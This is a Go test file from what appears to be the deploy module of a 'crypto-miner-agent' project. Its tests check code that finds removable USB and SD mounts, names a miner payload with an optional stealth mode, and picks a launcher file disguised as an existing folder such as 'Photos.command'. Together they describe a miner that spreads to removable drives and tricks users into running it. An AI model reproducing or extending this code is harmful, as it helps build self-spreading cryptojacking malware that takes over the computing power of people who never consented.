//go:build !windows package deploy import ( "os" "path/filepath" "testing" "crypto-miner-agent/config" ) func TestParseLsblkMounts(t *testing.T) { const sample = `{ "blockdevices": [ {"mountpoint": "/", "hotplug": false}, {"mountpoint": "/media/usb", "hotplug": "1"}, {"mountpoint": null, "hotplug": true}, {"mountpoint": "/mnt/sdcard", "hotplug": true} ] }` got := parseLsblkMounts(sample) want := []string{"/media/usb", "/mnt/sdcard"} if len(got) != len(want) { t.Fatalf("len %d != %d (%v)", len(got), len(want), got) } for i := range want { if got[i] != want[i] { t.Fatalf("[%d] got %q want %q", i, got[i], want[i]) } } } func TestUnixPayloadNameNonStealth(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ WorkerName: "node worker", StealthMode: false, }} if got := unixPayloadName(cfg); got != "node-worker" { t.Fatalf("got %q", got) } } func TestPickUnixLauncher(t *testing.T) { root := t.TempDir() if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil { t.Fatal(err) } if got := pickUnixLauncher(root); got != "Photos.command" { t.Fatalf("got %q", got) } empty := t.TempDir() if got := pickUnixLauncher(empty); got != "Start.command" { t.Fatalf("empty mount: got %q", got) } }